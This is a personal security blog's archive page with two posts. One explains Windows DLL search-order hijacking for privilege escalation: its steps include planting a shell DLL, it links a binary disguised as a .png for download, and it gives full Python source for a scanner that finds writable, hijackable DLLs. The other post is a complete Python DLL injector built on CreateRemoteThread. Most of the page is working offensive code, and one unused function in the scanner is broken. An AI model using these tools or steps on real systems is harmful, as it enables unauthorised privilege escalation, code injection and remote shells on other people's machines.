______ Y ______
My own personal time capsule.
Tag Archives: dll
DLL Alghoritm Hijack Privilage Escalation
December 24, 2012
Posted by on So lately I’ve heard a lot about how you can use the DLL search algorithm to hijack the library during the loading time (KB2269637) and execute your own code. I found this to be rather curious way to exploit the system as in simple terms we can just replace one of the libraries listed by this script to execute our own code. Simple yet very effective ;D
Here is how the exploitation can happen:
1) Login onto the box
2) Find the DLL’s outside of the MS protection zone (check this for some details)
3) Replace the DLL with your version with i.e. remote connection shell stored in the same folder as the executable we want to attack
4) Wait for the execution via user interaction or execute the program yourself if you got sufficient rights
5) Enjoy the shell
Here is the binary distribution (of course remove .png from file name ending and do wget on the following link) :
https://waitfordebug.wordpress.com/wp-content/uploads/2012/12/windows-dll-search-privesc-zip.png
Here is the sourcecode:
print "[+] DLL Search Algorithm Privesc Check by Y" print "[+] contact : If you know me then give me a shout" print "\n" ### Imports import win32com.client import sys from ctypes import * from ctypes.wintypes import * import sys import os from optparse import OptionParser ### Define System DLL's kernel32 = windll.kernel32 advapi32 = windll.advapi32 class TOKEN_PRIVS(Structure): _fields_ = ( ("PrivilegeCount", ULONG), ("Privileges", ULONG * 3) ) def getDrives(): print "[+] Enumerating current partitions" drivebits=k.GetLogicalDrives() partition_list = list_unsafecalls() for drives in range(1,26): mask=1 << drives if drivebits & mask: drive_letter='%c:\\' % chr(ord('A')+drives) partition_list.append(drive_letter) print "\t[+]Found drive: %s" % drive_letter return partition_list def get_debug_privs(): try: print "[+] Danger Will Robinson, We are elevating ourself to god level!" token = HANDLE() advapi32.OpenProcessToken(kernel32.GetCurrentProcess(), 0x00000020, byref(token)) privs = TOKEN_PRIVS() privs.PrivilegeCount = 1 privs.Privileges = (0x14, 0, 2) advapi32.AdjustTokenPrivileges(token, 0, byref(privs), 0, 0, 0) print "\t [+] Privilege Adjusted Successfully" kernel32.CloseHandle(token) except: print "\t [-]Unable to elevate. Exiting ..." sys.exit() def get_win32_product(): try: objWMIService = win32com.client.Dispatch("WbemScripting.SWbemLocator") objSWbemServices = objWMIService.ConnectServer(".","root\cimv2") colItems = objSWbemServices.ExecQuery("Select * from Win32_Product") installed_soft = {} for objItem in colItems: installed_soft[objItem.Caption] = {'InstallLocation':objItem.InstallLocation, 'InstallName':objItem.InstallSource, 'InstallState':objItem.InstallState, 'InstallSoftware':objItem.Caption, 'InstallID':objItem.IdentifyingNumber, 'InstallDate':objItem.InstallDate, 'InstallLocalPackage':objItem.LocalPackage } print "\t[+] We Have The 'List'!" return installed_soft except: print "\t[-] Could not acquire software list" return None def find_dlls_in_folder(location): list_dlls = [] for folder in location: for dirname, dirnames, filenames in os.walk(folder): for dirfolder in dirnames: # we need to be able to write to the folder (inherited permissions) if os.access(os.path.join(dirname,folder),os.W_OK): for nm in filenames: if str(nm).lower().endswith(".dll"): list_dlls.append(os.path.join(dirname, nm)) else: # Can't write to the folder = can't do anything pass return list_dlls def get_partitions(): print "[+] The following partitions exists:" drivebits=kernel32.GetLogicalDrives() partition_list = list() for drives in range(1,26): mask=1 << drives if drivebits & mask: drive_letter='%c:\\' % chr(ord('A')+drives) # need only network and fixed drives if kernel32.GetDriveTypeA(drive_letter) == 3 or kernel32.GetDriveTypeA(drive_letter) == 4: partition_list.append(drive_letter) print "\t[+]Found static, readable drive: %s" % drive_letter else: pass return partition_list def find_all_dll(): list_dlls = [] partitions = get_partitions() print "[+] Searching for elevation points" for drive in partitions: for dirname, dirnames, filenames in os.walk(drive): for dirfolder in dirnames: # we need to be able to write to the folder (inherited permissions) if os.access(os.path.join(dirname,dirfolder),os.W_OK): for nm in filenames: if str(nm).lower().endswith(".dll"): list_dlls.append(os.path.join(dirname, nm)) return list_dlls def find_vulnerable_in_system(system_dll): loc = [] for location in system_dll: # The original author 'forgot' to mention that you can't write to program files or windows # because its protected resource so only admin can append resources in there! DLL's outside of the 'protection' zone are free to be played with. # Go and play with http://msdn.microsoft.com/en-us/library/bb762204%28VS.85%29.aspx and http://msdn.microsoft.com/en-us/library/bb762494%28v=vs.85%29.aspx if not location.startswith(os.environ['ProgramFiles']): if not location.startswith(os.environ['windir']): loc.append(location) return loc def find_vulnerable(prod_list): loc = [] for elems in prod_list.keys(): location = prod_list[elems].get('InstallLocation') if location != None: # The original author 'forgot' to mention that you can't write to program files or windows # because its protected resource so only admin can append resources in there! DLL's outside of the 'protection' zone are free to be played with. # Go and play with http://msdn.microsoft.com/en-us/library/bb762204%28VS.85%29.aspx and http://msdn.microsoft.com/en-us/library/bb762494%28v=vs.85%29.aspx if not location.startswith(os.environ['ProgramFiles']): if not location.startswith(os.environ['windir']): loc.append(location) else: # This will have to be checked, not all installs give you the list of locations pass return find_dlls_in_folder(loc) def main(): usage = """ This script will find all of the DLL libraries which can be exploited to perform DLL code injection. Reference: KB2269637 """ parser = OptionParser(usage) parser.add_option("-s","--scan",action="store_true", dest="scann_flag",default=False, help="Scan the file system for DLL's instead of querying WMI") (options, args) = parser.parse_args() if options.scann_flag == True: print "[+] Elevating first" # This is probably not necessary get_debug_privs() print "[+] Finding details" dll_list = find_all_dll() print "[+] Finding Vulnerable DLL Load Software" dll_list = find_vulnerable_in_system(dll_list) if dll_list != None: print "[+] List of vulnerable DLL's" for dlls in dll_list: if os.access(dlls,os.W_OK): print "\t[+] " , dlls else: print "[+] Elevating first" # This is probably not necessary get_debug_privs() print "[+] Getting Software List" prod_list = get_win32_product() # Will have to rewrite this to be API-only based print "[+] Finding Vulnerable DLL Load Software" dll_list = find_vulnerable(prod_list) if dll_list != None: print "[+] List of vulnerable DLL's" for dlls in dll_list: if os.access(dlls,os.W_OK): print "\t[+] " , dlls else: print "[+] No Vulnerable DDL's could be identified" print "[+] Done" if __name__ == '__main__': main()
DLL Injection in python
February 7, 2012
Posted by on Following code utilises kernel32.CreateRemoteThread function to add a thread with the selected DLL to the selected process ( also known as DLL injection ). Following steps are executed :
1) Get Process Handle (by PID)
2) Allocate space for dll path
3) Write dll path to the process selected in step 1
4) Resolve address of kernel32.dll & LoadLibraryA function
5) Use info from step 2,3,4 to call kernel32.CreateRemoteThread with specified DLL
6) DLL Injected ;D
print "[+] Universal DLL Injector by Y" print "[+] contact : If you know me then give me a shout" print "[+] usage: ./dll_injector.py <PID> <DLLPATH>" print "\n" from ctypes import * import sys,ctypes # Define constants we use PAGE_RW_PRIV = 0x04 PROCESS_ALL_ACCESS = 0x1F0FFF VIRTUAL_MEM = 0x3000 #CTYPES handler kernel32 = windll.kernel32 def dll_inject(PID,DLL_PATH): print "[+] Starting DLL Injector" LEN_DLL = len(DLL_PATH)# get the length of the DLL PATH print "\t[+] Getting process handle for PID:%d " % PID hProcess = kernel32.OpenProcess(PROCESS_ALL_ACCESS,False,PID) if hProcess == None: print "\t[+] Unable to get process handle" sys.exit(0) print "\t[+] Allocating space for DLL PATH" DLL_PATH_ADDR = kernel32.VirtualAllocEx(hProcess, 0, LEN_DLL, VIRTUAL_MEM, PAGE_RW_PRIV) bool_Written = c_int(0) print "\t[+] Writing DLL PATH to current process space" kernel32.WriteProcessMemory(hProcess, DLL_PATH_ADDR, DLL_PATH, LEN_DLL, byref(bool_Written)) print "\t[+] Resolving Call Specific functions & libraries" kernel32DllHandler_addr = kernel32.GetModuleHandleA("kernel32") print "\t\t[+] Resolved kernel32 library at 0x%08x" % kernel32DllHandler_addr LoadLibraryA_func_addr = kernel32.GetProcAddress(kernel32DllHandler_addr,"LoadLibraryA") print "\t\t[+] Resolve LoadLibraryA function at 0x%08x" %LoadLibraryA_func_addr thread_id = c_ulong(0) # for our thread id print "\t[+] Creating Remote Thread to load our DLL" if not kernel32.CreateRemoteThread(hProcess, None, 0, LoadLibraryA_func_addr, DLL_PATH_ADDR, 0, byref(thread_id)): print "Injection Failed, exiting" sys.exit(0) else: print "Remote Thread 0x%08x created, DLL code injected" % thread_id.value PID = int(sys.argv[1]) DLL_PATH = str(sys.argv[2]) dll_inject(PID, DLL_PATH)